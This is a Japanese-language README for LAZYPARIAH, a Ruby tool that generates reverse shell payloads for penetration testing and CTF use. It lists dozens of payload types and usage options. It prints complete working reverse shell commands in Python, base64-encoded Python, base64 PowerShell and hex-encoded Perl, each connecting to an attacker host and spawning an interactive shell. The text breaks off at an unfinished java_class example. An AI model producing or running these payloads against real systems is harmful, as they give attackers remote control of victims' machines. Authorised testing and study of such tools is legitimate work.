LAZYPARIAH

低依存性のコマンドラインツールで、リバースシェルペイロードをその場で生成します。

説明

LAZYPARIAHは、純粋なRubyで書かれたシンプルで簡単にインストール可能なコマンドラインツールであり、ペネトレーションテストやキャプチャ・ザ・フラッグ（CTF）コンペティションで、さまざまなリバースシェルペイロードをその場で生成するために使用できます。

LAZYPARIAHがサポートするリバースシェルペイロードには以下が含まれます（ただしこれに限定されません）：

• Cバイナリペイロード（その場でコンパイル）：c_binary
• Rubyペイロード：ruby、ruby_b64、ruby_hex、ruby_c
• Powershellペイロード：powershell_c、powershell_b64
• Base64エンコードされたPythonペイロード：python_b64
• Rustバイナリペイロード（その場でコンパイル）：rust_binary
• system()関数を介して呼び出されるbase64エンコードされたPythonペイロードを含むPHPスクリプト：php_system_python_b64
• Javaクラス（その場でコンパイル）：java_class
• Perlペイロード：perl、perl_b64、perl_hex、perl_c
• シンプルなPHPペイロード（特定のファイルディスクリプタをターゲット）：php_fd、php_fd_c、php_fd_tags

警告

このツールは、資格のあるペネトレーションテスター、セキュリティ研究者、レッドチームの専門家による、許可された状況下でのみ使用することを意図しています。このツールをダウンロード、インストール、または使用する前に、お住まいの管轄区域の関連法令を理解していることを確認してください。このツールの作者は、このツールの違法または不正な使用を推奨、奨励、または容認しません。

依存関係

• Ruby >= 2.7.1（LAZYPARIAHはそれ以前のRubyバージョンではテストされていません）
• OpenJDK（オプション：java_classペイロードにのみ必要）
• GCC（オプション：c_binaryペイロードにのみ必要）
• Rust（オプション：rust_binaryペイロードにのみ必要）

インストール

LAZYPARIAHは、RubyGemsインストーラを使用して、ほとんどのGNU/LinuxおよびBSDシステムに次のようにインストールできます：

gem install lazypariah

使用方法

Usage:	lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
Note:	<ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.

Example:	lazypariah -u python_b64 10.10.14.4 1555
Example:	lazypariah python_c malicious.local 1337

Valid Payloads:
    awk
    bash_tcp
    c_binary
    java_class
    nc
    nc_openbsd
    nc_pipe
    nodejs
    nodejs_b64
    nodejs_c
    nodejs_hex
    perl
    perl_b64
    perl_c
    perl_hex
    php_fd
    php_fd_c
    php_fd_tags
    php_system_python_b64
    php_system_python_hex
    php_system_python_ipv6_b64
    php_system_python_ipv6_hex
    powershell_b64
    powershell_c
    python
    python_b64
    python_c
    python_hex
    python_ipv6
    python_ipv6_b64
    python_ipv6_c
    python_ipv6_hex
    ruby
    ruby_b64
    ruby_c
    ruby_hex
    rust_binary
    socat

Valid Options:
    -h, --help                       Display help text and exit.
    -l, --license                    Display license information and exit.
    -u, --url                        URL-encode the payload.
    -v, --version                    Display version information and exit.
    -D, --fd INTEGER                 Specify the file descriptor used by the target for TCP. Required for certain payloads.
    -P, --pv INTEGER                 Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.
    -N, --no-new-line                Do not append a new-line character to the end of the payload.
        --b64                        Encode a c_binary, rust_binary or java_class payload in base-64.
        --hex                        Encode a c_binary, rust_binary or java_class payload in hexadecimal.
        --gzip                       Compress a c_binary, rust_binary or java_class payload using zlib.
        --gzip_b64                   Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.
        --gzip_hex                   Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.

その他の注意と例

上記のペイロードは、おおむね体系的な命名がされています。

_cで終わるペイロードは、シェルセッション内で実行することを意図しています。これらのペイロードは、関連するインタプリタ（例：python3 -cやruby -e）を使用してコードを直接実行します。

たとえば、lazypariah python_c 10.10.14.4 1337コマンドは以下の出力を生成します：

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

一方、lazypariah python 10.10.14.4 1337コマンドは、単純に.pyファイルに配置可能なPythonコードのブロックを生成します：

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

一般的に、_b64で終わるペイロードを選択すると、_cで終わるペイロードと同様にシェルセッション内で実行するためのコマンドが生成されますが、コマンドの構造は異なります。これらのコマンドは基本的に、base64エンコードされたコードブロックをbase64 -dにパイプし、その後関連するインタプリタ（python3、python2、rubyなど）にパイプします。

たとえば、lazypariah python_b64 10.10.14.4 1337コマンドは以下の出力を生成します：

echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python

例外はpowershell_b64で、これはPowershellの組み込みbase64デコーダを使用します。たとえば、lazypariah powershell_b64 10.10.14.4 1337コマンドは以下を返します：

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

（注：上記のペイロードの長さは、PowershellがUTF-16LEエンコーディングを使用しているためであり、1文字が2バイトに対応します。）

これらのタイプのペイロードは、シングルクォートやダブルクォートを含まないため、特定の状況で役立つ場合があります。

同様に、_hexで終わるペイロードを選択すると、16進数エンコードされたコードブロックをxxd -p -r -にパイプし、その後関連するインタプリタにパイプするコマンドが生成されます。たとえば、lazypariah perl_hex 10.10.14.4 1337は以下の出力を生成します：

echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r - | perl

コンパイルされたペイロード（c_binary、java_class、rust_binary）には、zlib圧縮（--gzip）、base64エンコード（--b64）、16進数エンコード（--hex）のオプションのコマンドライン引数があります。

たとえば、lazypariah --b64 java_class 10.10.14.4 1337コマンドは以下の出力を生成します：